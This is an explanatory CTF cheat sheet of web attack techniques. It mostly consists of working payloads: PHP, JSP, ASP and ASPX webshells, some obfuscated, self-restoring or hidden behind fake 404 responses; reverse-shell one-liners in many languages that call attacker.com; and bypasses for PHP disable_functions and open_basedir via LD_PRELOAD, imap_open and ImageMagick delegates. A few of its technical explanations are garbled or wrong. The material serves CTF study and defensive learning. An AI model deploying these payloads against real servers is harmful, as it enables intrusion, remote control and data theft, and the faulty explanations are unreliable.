This document provides a detailed explanation of all web security concepts, techniques, and commands commonly used in Capture The Flag (CTF) competitions. Each section breaks down the underlying principles, why certain attacks work, and how to apply them in real scenarios.
A webshell is a script uploaded or injected into a web server that allows remote administration. In CTF contexts, webshells are used to execute system commands, read files, or further compromise the server.
<?php system($_GET["cmd"]); ?>How it works: The system() function in PHP executes an external command and displays the output. $_GET["cmd"] retrieves the value of the cmd parameter from the URL query string. When you access http://target.com/shell.php?cmd=ls, the server executes ls and returns the directory listing.
Why this works: PHP is a server-side language - code inside <?php ?> tags executes on the server before the response is sent to the browser. The system() function has direct access to the server's operating system.
<?php system($_GET[1]); ?>Explanation: This uses an integer array key 1 instead of a named parameter. Access with ?1=ls. This sometimes bypasses simple WAF rules that look for common parameter names like "cmd".
<?php system("`$_GET[1]`"); ?>How it works: The backticks ` in PHP execute the content as a shell command. So "$_GET[1]" becomes something like `ls` which executes ls. The outer system() then captures this output - it's redundant but can bypass certain filters.
<?= system($_GET[cmd]); ?>Explanation: <?= is a shorthand for <?php echo. This outputs the result of system(). Available by default in PHP 5.4.0+ regardless of short_open_tag setting.
<?=`$_GET[1]`; ?>How it works: Backticks alone execute commands. This is the shortest possible webshell - just backticks around the GET parameter. No echo or system needed because backticks return the command output directly.
<?php eval($_POST[cmd]);?>Explanation: eval() executes any string as PHP code. This is more powerful than system() because it can run arbitrary PHP, not just system commands. However, it uses POST data which is less visible in logs than GET parameters.
<?php echo passthru($_GET['cmd']); ?>How it works: passthru() is similar to system() but returns raw binary output - useful for commands that produce binary data like image files.
<?php echo shell_exec($_GET['cmd']); ?>Explanation: shell_exec() returns command output as a string. It's functionally similar to backticks.
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>How it works: str_rot13() applies ROT13 encoding (shifts letters by 13 positions). The string 'riny($_CBFG[cntr]);' when ROT13 decoded becomes 'eval($_POST[page]);'. This bypasses simple signature-based detection that looks for the string "eval" in the source code.
<script language="php">system("id"); </script>Explanation: PHP used to support <script language="php"> tags as an alternative to <?php ?>. This was removed in PHP 7.0.0. In older systems, this can bypass filters that only look for PHP tags.
<?php $_GET['a']($_GET['b']); ?>How it works: In PHP, if you have a string variable containing a function name and append parentheses, PHP calls that function. Here, $_GET['a'] might be "system" and $_GET['b'] might be "ls", resulting in system("ls"). This is known as a variable function.
Why it's dangerous: This allows attackers to call any function, not just system commands. For example, ?a=file_get_contents&b=/etc/passwd would read files.
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>How it works:
\x65is hex for 'e', so"ass\x65rt"becomes"assert"array_map()applies a function to each element of an array(array)$_REQUEST['cmd']casts the input to an arrayassert()in PHP evaluates a string as PHP code
This bypasses filters looking for "assert" by encoding the 'e' in hex.
<?php @extract($_REQUEST);@die($f($c));?>How it works:
extract($_REQUEST)imports all GET/POST variables as PHP variables- If the request contains
f=systemandc=id, this creates$f="system"and$c="id" $f($c)becomessystem("id")die()executes the function and terminates script execution- The
@suppresses error messages
<?php @include($_FILES['u']['tmp_name']); How it works:
$_FILES['u']['tmp_name']contains the temporary file path of an uploaded fileinclude()reads and executes that file as PHP- The attacker uploads a file containing PHP code, then triggers this script to include it
Attack flow:
- Attacker uploads a file with PHP code (e.g., via multipart/form-data)
- Server saves it temporarily (e.g.,
/tmp/phpABC123) - Attacker accesses the webshell which includes this temp file
- The uploaded PHP code executes
<?php $x=~¾¬¬º«;$x($_GET['a']); ?>How it works:
- The string
¾¬¬º«when bitwise NOT (~) is applied becomes"assert" - Bitwise NOT flips all bits: 0 becomes 1, 1 becomes 0
- The characters are carefully chosen so that applying NOT yields the ASCII values for "assert"
$xbecomes the string "assert", then$x($_GET['a'])callsassert()on the input
Why this works: Security tools scanning for "assert" won't find it in the source because it's encoded.
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");How it works:
fopen("gggg.php","w")opens a new file for writingfwrite()writes the second argument into that file- The written content is a PHP webshell
- When executed, this script creates another webshell file named
gggg.php
This is used to persist access - even if the original file is deleted, the newly created one remains.
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo(); // Or your malicious code
ob_end_clean();
?>How it works:
header('HTTP/1.1 404')sends a 404 Not Found statusob_start()starts output buffering - captures all outputphpinfo()(or malicious code) executes but output is captured in bufferob_end_clean()discards the buffer, so no output is sent- The client sees a 404 page, but the code executed on the server
Why this is stealthy: Logs show 404 errors (common and often ignored), and no output reveals the compromise.
<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>How it works:
ob_start('assert')setsassertas the output callback function- Any output is passed through
assert()before being sent echo $_REQUEST['pass']outputs the user inputassert()evaluates this input as PHP code- The result is then sent to the browser
Usage: ?pass=phpinfo() - this gets echoed, passed to assert(), and executed.
<?php
ignore_user_abort(true);
set_time_limit(0);
$file = 'shell.php';
$code = '<?php eval($_POST[a]);?>';
while(md5(file_get_contents($file)) !== md5($code)) {
if(!file_exists($file)) {
file_put_contents($file, $code);
}
usleep(50);
}
?>How it works:
ignore_user_abort(true)- script continues running even if client disconnectsset_time_limit(0)- no execution time limit- Infinite loop checks if
shell.phpexists and has the correct content - If file is missing or modified, it's recreated with the webshell code
usleep(50)prevents CPU exhaustion
Solution: Restart the server to terminate the process and remove the file.
<%Runtime.getRuntime().exec(request.getParameter("i"));%>How it works:
<% %>is JSP scriptlet tag - contains Java codeRuntime.getRuntime().exec()executes a system command in Javarequest.getParameter("i")gets the "i" parameter from HTTP request- The command executes but no output is returned to the browser
<%
if("kaibro".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>How it works:
- Password check prevents unauthorized access
- Command output is captured via
getInputStream() - Output is read in 2048-byte chunks and displayed in
<pre>tags for formatting - This returns command output to the browser
<%\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u002E\u0067\u0065\u0074\u0052\u0075\u006E\u0074\u0069\u006D\u0065\u0028\u0029\u002E\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002E\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006D\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u003B%>How it works:
- Each
\uXXXXis a Unicode escape sequence - When decoded, it becomes:
Runtime.getRuntime().exec(request.getParameter("i")); - This bypasses filters looking for "Runtime", "exec", etc. in plain text
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>How it works:
- JSPX is an XML syntax for JSP
<jsp:scriptlet>contains Java code that executes on the server- This format can bypass filters that only check .jsp files
${Runtime.getRuntime().exec("touch /tmp/pwned")}How it works:
${}is Expression Language syntax in JSP- It evaluates Java expressions directly
- This executes without needing scriptlet tags
- Some WAFs might not check EL expressions
<%eval request("kaibro")%>How it works:
<% %>is ASP scriptlet tageval()in VBScript executes a string as coderequest("kaibro")gets the "kaibro" parameter- This is the classic ASP one-liner webshell
<%execute request("kaibro")%>Explanation: execute() is similar to eval() in VBScript - executes the string as code.
<%ExecuteGlobal request("kaibro")%>How it works: ExecuteGlobal executes code in the global scope, potentially affecting the entire application.
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>How it works:
CreateObject("WScript.Shell")creates a Windows Shell object.Exec()executes a command.StdOut.Readall()reads all outputresponse.writesends output to browser
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>How it works:
<%@ Page Language="Jscript"%>sets the page language to JScript (Microsoft's JavaScript)eval()executes the input as JScript code"unsafe"parameter allows eval in JScript
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>How it works:
- Checks if any files were uploaded
Request.Files[0].SaveAs()saves the first uploaded fileServer.MapPath(Request["f"])determines where to save based on the "f" parameter- This allows uploading any file to any writable location
A reverse shell is a connection initiated from the target server back to the attacker's machine. This bypasses firewalls that block inbound connections but allow outbound traffic.
ncat -vl 5566
# or
nc -lvnp 5566Explanation of flags:
-v: verbose mode (shows connection details)-l: listen mode (wait for connections)-n: no DNS resolution (faster, uses IPs only)-p: specify port number
Why this works: The attacker's machine listens on port 5566. When the target connects, the attacker gets a shell on the target.
perl -e 'use Socket;$i="attacker.com";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Line-by-line explanation:
use Socket;- imports Perl's socket library$i="attacker.com";$p=5566;- sets attacker IP and portsocket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"))- creates a TCP socketconnect(S,sockaddr_in($p,inet_aton($i)))- attempts to connect to attackeropen(STDIN,">&S")- redirects stdin to the socketopen(STDOUT,">&S")- redirects stdout to the socketopen(STDERR,">&S")- redirects stderr to the socketexec("/bin/sh -i")- starts an interactive shell, with all I/O going through the socket
bash -i >& /dev/tcp/attacker.com/5566 0>&1How it works:
bash -i- starts an interactive bash shell>& /dev/tcp/attacker.com/5566- redirects both stdout and stderr to the TCP connection/dev/tcp/is a special bash feature (not a real file) that creates TCP connections0>&1- redirects stdin to stdout (which is going to the socket)
Alternative:
bash -c 'bash -i >& /dev/tcp/attacker.com/5566 0>&1'This runs the same command but through bash -c which can be useful in restricted environments.
0<&196;exec 196<>/dev/tcp/attacker.com/5566; sh <&196 >&196 2>&196How it works:
0<&196- duplicates file descriptor 196 to stdinexec 196<>/dev/tcp/attacker.com/5566- opens a TCP connection on fd 196sh <&196 >&196 2>&196- runs shell with all I/O through fd 196
php -r '$sock=fsockopen("attacker.com",5566);exec("/bin/sh -i <&3 >&3 2>&3");'How it works:
fsockopen()opens a socket connection to attacker- On success, returns a file pointer (defaults to file descriptor 3)
exec("/bin/sh -i <&3 >&3 2>&3")starts a shell with I/O redirected to fd 3
nc -e /bin/sh attacker.com 5566How it works: The -e flag tells netcat to execute a program and connect its stdin/stdout to the socket. This is the simplest reverse shell, but many netcat versions lack the -e flag for security reasons.
mknod backpipe p && telnet attacker.com 5566 0<backpipe | /bin/bash 1>backpipeHow it works:
mknod backpipe p- creates a named pipe (FIFO)telnet attacker.com 5566 0<backpipe- telnet connects, reading from the pipe/bin/bash 1>backpipe- bash sends output to the pipe- The pipe connects telnet's input to bash's output, creating a two-way communication channel
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'Line-by-line:
import socket,subprocess,os- imports needed moduless=socket.socket()- creates a socket objects.connect(("attacker.com",5566))- connects to attackeros.dup2(s.fileno(),0)- duplicates socket fd to stdin (fd 0)os.dup2(s.fileno(),1)- duplicates to stdoutos.dup2(s.fileno(),2)- duplicates to stderrsubprocess.call(["/bin/sh","-i"])- starts interactive shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'How it works:
-rsocket- requires the socket libraryexit if fork- forks a child process; parent exits (daemonizes)TCPSocket.new()- creates TCP connectionwhile(cmd=c.gets)- reads commands from socketIO.popen(cmd,"r")- executes command, captures outputc.print io.read- sends output back through socket
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(5566, "attacker.com", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});How it works:
netmodule creates TCP connectionschild_process.exec()starts a bash processclient.pipe(sh.stdin)- pipes socket input to bash's stdinsh.stdout.pipe(client)- pipes bash's stdout to socketsh.stderr.pipe(client)- pipes bash's stderr to socket
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/attacker.com/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();How it works:
- Uses bash's built-in TCP capabilities
exec 5<>/dev/tcp/attacker.com/5278- opens TCP connection on fd 5cat <&5- reads commands from the socketwhile read line; do $line 2>&5 >&5; done- executes each command, sending output back
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c attacker.com -p 5566 -e cmdHow it works:
IEX(Invoke-Expression) executes a downloaded script- Downloads
powercat.ps1(PowerShell version of netcat) powercat -c attacker.com -p 5566 -e cmd- connects to attacker and executes cmd.exe
PHP code must be enclosed in special tags to be recognized by the PHP parser. Different tag types exist for various compatibility scenarios.
<?php
// PHP code here
?>Explanation: This is the standard and most reliable PHP tag. It always works regardless of configuration. The php keyword tells the parser explicitly that this is PHP code.
<?
// PHP code here
?>How it works: This is a shorter version of the PHP tag. When short_open_tag is enabled in php.ini, <? is equivalent to <?php.
When it works:
- In older PHP installations, this was often enabled by default
- Many shared hosting environments disable it for security
- Some PHP frameworks (like Laravel) rely on
<?phpexclusively
Configuration option:
; php.ini
short_open_tag = On ; Enables <? and <?= tags<?= "Hello World" ?>How it works: This is shorthand for <?php echo "Hello World" ?>. It outputs the expression directly.
Availability:
- Since PHP 5.4.0,
<?=is always available regardless ofshort_open_tag - In earlier versions, it required
short_open_tag=On
Common usage in templates:
<title><?= $page_title ?></title><%
// ASP-style PHP code
%>
<%= "Output" %>How it works: PHP used to support ASP-style tags for compatibility with Microsoft technologies. The <% tag is equivalent to <?php, and <%= is equivalent to <?=.
Removal: These tags were removed in PHP 7.0.0. They only work in older versions with asp_tags = On in php.ini.
<script language="php">
echo "PHP code here";
</script>How it works: This HTML-style tag was another way to embed PHP code. The language="php" attribute tells the parser to treat the content as PHP.
Removal: Also removed in PHP 7.0.0. In modern PHP, this will output as plain text.
Bypassing Filters: If a WAF (Web Application Firewall) looks for <?php to block webshells, using <? or <script> might evade detection if those tags are still supported.
Configuration Exploitation: Knowing which tags are enabled tells you about the PHP version and configuration, which helps in choosing appropriate exploits.
Example CTF Scenario:
// Challenge filters out <?php and <? tags
$content = file_get_contents($_FILES['file']['tmp_name']);
if(preg_match('/<\?php|<\?/i', $content)) {
die('No PHP tags allowed!');
}
eval($content); // Still executes PHP code!Bypass: Using <script language="php"> or ASP-style tags (if supported) would bypass the regex filter.
PHP uses two comparison operators:
==(loose comparison) - performs type juggling===(strict comparison) - checks both value and type
Type juggling means PHP automatically converts types when comparing different data types. This leads to unexpected and often exploitable behavior.
var_dump('0xABCdef' == ' 0xABCdef');What happens: This compares a hex string with the same hex string preceded by spaces.
Version-dependent behavior:
- In HHVM 3.18.5 - 3.22.0 and PHP 7.0.0 - 7.2.0rc4: Returns
true - In other versions: Returns
false
Why this matters: This inconsistency can be exploited in CTF challenges where the PHP version is known. If the challenge uses a vulnerable version, you can predict comparison outcomes.
var_dump('0010e2' == '1e3');How it works: Both strings are treated as numbers in scientific notation:
'0010e2'= 10 × 10² = 1000'1e3'= 1 × 10³ = 1000
PHP converts both to floats (1000.0) and finds them equal.
Exploitation: If a script does if($user_input == $secret_number), and you know the secret number is 1000, you could use 0010e2 or 1e3 as valid inputs.
var_dump(strcmp([], []));What happens: strcmp() expects strings, but receives arrays. In PHP, this triggers a warning and returns NULL. Since NULL == 0 is true in loose comparison, this can bypass checks.
var_dump(sha1([]));What happens: sha1() with an array parameter returns NULL. This can be used to create "magic" conditions where a hash check passes unexpectedly.
var_dump('123' == 123); // trueHow it works: When comparing a string with a number, PHP converts the string to a number if it starts with numeric characters. '123' becomes integer 123.
var_dump('abc' == 0); // trueHow it works: The string 'abc' has no leading numbers, so it converts to 0. Therefore, 'abc' == 0 is true.
var_dump('123a' == 123); // trueHow it works: PHP takes the leading numbers from the string until it hits a non-numeric character. '123a' becomes 123, ignoring the 'a'.
var_dump('0x01' == 1);Version-dependent behavior:
- PHP 7.0.0 and later:
false(hex strings are no longer treated as numbers) - Earlier versions:
true(hex strings were converted to numbers)
Why this changed: This was a security fix. In older PHP, '0x01' was treated as hex 1, but '0x01' could also be part of SQL injection attempts. The change prevents unexpected type juggling.
var_dump('' == 0 == false == NULL);How it works: All these values are considered "falsy" in PHP:
- Empty string
''converts to 0 in numeric context 0is numerically falsefalseis boolean falseNULLis considered false in comparisons
In loose comparison, all are equal.
var_dump(md5('240610708'));Output: 0e462097431906509019562988736854
Why this is special: The hash starts with 0e followed only by digits. In PHP, when comparing strings to numbers, strings starting with "0e" are treated as numbers in scientific notation. Any number in the form 0e followed by digits equals 0 (because 0 × 10^anything = 0).
var_dump(md5('240610708') == 0); // trueExploitation: If a script does if(md5($input) == $stored_hash) and $stored_hash is 0, any magic hash that equals 0 will pass the check.
| Hash Type | Magic String | Hash Value |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 |
$a = "123";
$b = "456";
var_dump($a + $b); // int(579)How it works: The + operator forces numeric context, so both strings are converted to integers and added.
var_dump($a . $b); // string(6) "123456"How it works: The . operator is string concatenation, so the strings are joined.
$a = 0;
$b = 'x';
var_dump($a == $b); // trueHow it works: 'x' converts to 0 in numeric context (no leading numbers), so 0 == 0 is true.
var_dump($b == true); // trueHow it works: In boolean context, non-empty strings are true. So 'x' is true.
This creates a paradox: 0 == 'x' is true, and 'x' == true is true, but 0 == true is false!
$a = 'a';
var_dump(++$a); // string(1) "b"How it works: PHP has a special string increment feature. Incrementing a string follows Perl's convention:
'a'→'b''z'→'aa''9'→'10''9z'→'10a'
var_dump($a+1); // int(1)How it works: In numeric context, the string 'a' becomes 0, so 0+1 = 1.
Challenge Example: Password verification
if($_POST['password'] == $stored_password) {
// Grant access
}If $stored_password is a number (e.g., from database), an attacker could use:
123abc(if stored password is 123)0e123456(if stored password is 0)- Any string that converts to the same number
Challenge Example: Hash comparison
if(md5($_GET['token']) == '0e123456789012345678901234567890') {
echo "Valid token";
}An attacker can use any string that produces an MD5 hash starting with "0e" followed only by digits. The string 240610708 works because its MD5 hash 0e462097431906509019562988736854 equals 0 in loose comparison.
var_dump(intval('1000000000000'));On 32-bit systems: Output: 2147483647
Explanation: On 32-bit systems, integers are stored in 32 bits, with a maximum value of 2,147,483,647 (2³¹-1). When a number exceeds this, PHP caps it at the maximum.
var_dump(intval('100000000000000000000'));On 64-bit systems: Output: 9223372036854775807
Explanation: On 64-bit systems, the maximum integer is 9,223,372,036,854,775,807 (2⁶³-1).
Security implications: If an application uses intval() for security checks (e.g., checking if a value is within a certain range), an attacker might provide a value that overflows and bypasses the check.
php -r "var_dump(1.000000000000001 == 1);" // false
php -r "var_dump(1.0000000000000001 == 1);" // trueExplanation: Floating point numbers have limited precision (about 15-16 decimal digits). The first number differs in the 15th decimal place, which PHP can detect. The second differs in the 16th place, which is beyond precision limits, so PHP considers them equal.
$a = 0.1 * 0.1;
var_dump($a == 0.01); // falseWhy this happens: Binary floating point can't represent 0.1 exactly. 0.1 * 0.1 actually equals 0.010000000000000002, not 0.01.
CTF exploitation: If an application uses floating point for financial calculations or comparisons, these precision errors can be exploited.
var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));Output: 1 (true)
How it works:
ereg()uses POSIX regex, which treats NULL bytes (\x00) as string terminators- The regex
^[a-zA-Z0-9]+$only sees1234before the NULL byte 1234matches the pattern, so the check passes- The rest of the string is ignored
Security impact: This could bypass input validation. For example, if a script checks for alphanumeric usernames, admin\x00--DROP TABLE users; might pass validation but cause SQL injection later.
Note: ereg() and eregi() were removed in PHP 7.0.0.
var_dump(intval('5278.8787')); // 5278Explanation: intval() truncates decimals; it doesn't round. This can lead to off-by-one errors in calculations.
var_dump(intval(012)); // 10Explanation: When the argument is an integer literal starting with 0, PHP interprets it as octal. 012 (octal) = 10 (decimal).
var_dump(intval("012")); // 12Explanation: When the argument is a string starting with 0, it's treated as decimal, not octal. "012" as decimal = 12.
Security implications: If an application uses intval() for access control (e.g., if(intval($user_id) == 1)), and $user_id is from user input, an attacker might use 012 to get user ID 1 if octal conversion is expected, or 012 to get 12 if decimal is expected.
extract($_GET); // Dangerous!How it works: extract() imports variables from an array into the current symbol table. If $_GET contains _SESSION[name]=admin, it creates a variable $_SESSION (overwriting the superglobal) with key name and value admin.
Attack scenario:
// Original code
session_start();
extract($_GET);
echo $_SESSION['name']; // If $_GET had _SESSION[name]=admin, this outputs 'admin'Why this is dangerous: It allows attackers to overwrite any variable, including superglobals like $_SESSION, $_SERVER, etc.
// Default characters removed:
// " " (0x20), "\t" (0x09), "\n" (0x0A),
// "\x0B" (0x0B), "\r" (0x0D), "\0" (0x00)Important note: Form feed \f (0x0C) is NOT removed by default. This differs from is_numeric(), which allows \f at the start.
Bypass example:
$input = "\f123";
if(trim($input) !== "123") {
die("Invalid input");
}
// This fails because trim doesn't remove \f
if(is_numeric($input)) {
// This passes because is_numeric accepts leading whitespace including \f
$number = (int)$input; // $number = 123
}var_dump(is_numeric(" \t\r\n 123")); // trueExplanation: is_numeric() allows whitespace at the beginning of the string.
var_dump(is_numeric('87 ')); // falseExplanation: Trailing whitespace is not allowed. This inconsistency can be exploited.
var_dump(is_numeric('0xdeadbeef'));Version-dependent:
- PHP >= 7.0.0:
false(hex strings no longer considered numeric) - PHP < 7.0.0:
true(hex strings were numeric)
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5))); // trueHow it works: in_array() uses loose comparison by default. The string '5 or 1=1' when compared to integer 5 becomes 5 == 5 (true). The rest of the string is ignored in numeric conversion.
var_dump(in_array('kaibro', array(0, 1, 2))); // trueHow it works: 'kaibro' converts to 0 in numeric context, so in_array() finds it matches the 0 element.
var_dump(in_array(array(), array('kai'=>false))); // trueHow it works: An empty array compares equal to false in loose comparison, so it matches the false value.
$arr = array(1,2,0);
var_dump(array_search('kai', $arr)); // int(2)How it works: array_search() returns the key of the first match. 'kai' equals 0 in loose comparison, so it matches the element with value 0 at index 2.
parse_str('gg[kaibro]=5566');
// Result: array("kaibro" => "5566")Explanation: parse_str() parses query strings into variables. It automatically handles array syntax in the query string.
parse_str("na.me=kaibro&pass wd=ggininder", $test);
var_dump($test);
// array(2) {
// ["na_me"]=> string(6) "kaibro"
// ["pass_wd"]=> string(9) "ggininder"
// }Important behavior: Spaces and dots in variable names are converted to underscores. This can lead to variable overwriting if not understood.
parse_url('/a.php?id=1');
// array(2) {
// ["host"]=> string(5) "a.php"
// ["query"]=> string(4) "id=1"
// }Why this happens: Without a protocol (http://), parse_url() misinterprets the path as a hostname. This can lead to security issues in URL validation.
parse_url('//a/b');
// host: "a"Explanation: // is interpreted as a protocol-relative URL, so a becomes the host.
parse_url('..//a/b/c:80');
// host: ".."
// port: 80
// path: "//a/b/c:80"Weird behavior: The .. is treated as a hostname, and the port is extracted from the path.
$a = 'phpkaibro';
echo preg_replace('/(.*)kaibro/e', '\\1info()', $a);How it works: The /e modifier causes the replacement string to be evaluated as PHP code. \\1 is the captured group (php), so the replacement becomes phpinfo() which executes.
Security nightmare: This was one of the most dangerous PHP features, allowing code execution through regex replacement. Removed in PHP 7.0.0.
// Example: %' and 1=1#
// If magic_quotes_gpc adds \ before ', we get: %\' and 1=1#
// sprintf() sees %\ as unknown format, ignores it, leaving: ' and 1=1#How this bypasses SQL injection filters:
- Attacker inputs:
%' and 1=1# magic_quotes_gpcadds backslash:%\' and 1=1#sprintf()sees%\'as an invalid format specifier and ignores it- The backslash is removed, leaving:
' and 1=1# - This becomes a valid SQL injection
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);Bypass: ?txt[]=<?php phpinfo(); ?>
How it works:
- When
$testis an array,file_put_contents()tries to write it as a string - An array converted to string becomes
"Array" - However, PHP internally handles arrays differently for
file_put_contents() - The actual content written is the concatenated array elements:
<?php phpinfo(); ?>
file_put_contents("a.php/.", "<?php phpinfo() ?>");On Windows: Creates/overwrites a.php
On Linux: Fails (can't write to a directory path)
Why: Windows treats trailing slash differently and normalizes paths differently.
file_get_contents("a.php/.");On Windows: Reads a.php
On Linux: Fails
" (double quote) => . (dot)
Example: a"php becomes a.php
> (greater than) => ? (question mark)
Example: a.p>p becomes a.p?p
< (less than) => * (asterisk)
Example: a.< becomes a.*
Why this matters: If a Windows server filters file extensions, these character substitutions can bypass the filter while still resulting in a valid PHP file.
preg_match('/(.*)@gmail.com/', $email);How PCRE matching works:
- PCRE uses NFA (Nondeterministic Finite Automaton)
- When matching fails, it backtracks to try alternative paths
- Long strings can cause excessive backtracking
Protection:
pcre.backtrack_limit = 1000000 // DefaultWhen limit exceeded: preg_match() returns false instead of 0 or 1
Exploitation:
- Send input that causes backtracking > limit
preg_match()returnsfalse- This can bypass regex-based filters if the code doesn't handle
falsecorrectly
Example vulnerable code:
if(preg_match('/^[a-z]+$/', $input)) {
// Input is alphanumeric
include($input . '.php');
}If $input causes backtracking limit exceed, preg_match() returns false, which is falsy, so the check fails and include() runs with potentially dangerous input.
open_basedir restricts file access to specified directories. Here are ways to bypass it.
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}How it works:
glob://wrapper isn't restricted byopen_basedir- It can list files in any directory, including root
- This reveals file existence even if you can't read them
chdir('img');
ini_set('open_basedir','..'); // Set to parent
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/'); // Now unrestricted
echo(file_get_contents('flag'));Step-by-step:
chdir('img')- move into a subdirectoryini_set('open_basedir','..')- set restriction to parent directory- Now we can use
chdir('..')to move up, expanding our allowed path - After enough
chdir('..'), we're at root ini_set('open_basedir','/')- set restriction to root (effectively no restriction)- Read any file
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar'); // Points to root
unlink('foo');
symlink('/var/www/html/','foo'); // Reset
echo file_get_contents('bar/etc/passwd'); // Read outside open_basedirHow it works:
- Create symlinks to traverse outside the restricted directory
open_basedirchecks the resolved path at symlink creation, not at access time- By manipulating symlinks, you can point to forbidden locations
PHP's disable_functions restricts dangerous functions. Here are various bypass techniques.
<?php
putenv("BUGMENOT=() { :; }; /bin/cat /etc/passwd");
system("bash -c 'echo vulnerable'");
?>How it works: Shellshock (CVE-2014-6271) allows command injection through environment variables. Bash versions before 2014-09-24 are vulnerable.
Vulnerable condition: When a vulnerable bash processes the environment variable, it executes the code after the function definition.
<?php
// mail.php
putenv("LD_PRELOAD=/tmp/malicious.so");
mail("a@b.com", "Subject", "Body");
?>// malicious.c
#include <stdlib.h>
#include <unistd.h>
void __attribute__ ((constructor)) preload (void){
unsetenv("LD_PRELOAD");
system("id");
}How it works:
mail()internally calls thesendmailbinaryLD_PRELOADtells the dynamic linker to load a custom library first- The malicious library has a constructor function that runs when loaded
- When
sendmailstarts, it loads our library, executing our code - The
unsetenv("LD_PRELOAD")prevents infinite loops
Compilation:
gcc -shared -fPIC malicious.c -o malicious.somb_send_mail("a@b.com", "Subject", "Body");How it works: Same as mail() - also calls sendmail internally, vulnerable to LD_PRELOAD.
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');How it works:
imap_open()connects to an IMAP server- The
-o ProxyCommandoption in the server string executes a command - The command decodes and executes the payload
Command Injection via MVG:
$img = new Imagick('/tmp/payload.mvg');payload.mvg:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com";ls "-la)'
pop graphic-context
How it works: ImageMagick's MVG format handles URLs by calling external programs (like curl). By injecting shell metacharacters, you can execute arbitrary commands.
Ghostscript + LD_PRELOAD:
// Create malicious.eps with embedded commands
// Then process with Imagick
$img = new Imagick('/tmp/malicious.eps');How it works: ImageMagick uses Ghostscript to parse EPS files. Ghostscript can be exploited with LD_PRELOAD if not properly sandboxed.
MAGICK_CONFIGURE_PATH + delegates.xml:
putenv('MAGICK_CONFIGURE_PATH=/tmp');
// Create /tmp/delegates.xml:
<delegatemap>
<delegate decode="ps:alpha" command="sh -c "/readflag > /tmp/output""/>
</delegatemap>
$img = new Imagick('/tmp/test.ps');How it works: ImageMagick looks for delegates.xml in MAGICK_CONFIGURE_PATH. This file defines how to handle different file types. By creating a malicious delegate, any PS file processed will execute our command.
<?php
$ffi = FFI::cdef("int system (const char* command);");
$ffi->system("id");How it works: FFI (Foreign Function Interface) allows calling C functions directly from PHP. If system() isn't disabled in the C library, this bypasses PHP's disable_functions.
How it works: If PHP-FPM is running on the same server, you can connect to it directly and execute PHP code bypassing the web server's restrictions.
Tool: FuckFastcgi creates a FastCGI client that can execute arbitrary PHP code through PHP-FPM.
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;Requirements:
com.allow_dcom = truein php.iniextension=php_com_dotnet.dllloaded
How it works: COM objects are Windows components. WScript.shell provides command execution capabilities that bypass PHP's internal restrictions.
<?PhP sYstEm(ls);How it works: PHP function names are case-insensitive. This can bypass filters that look for exact strings like system.
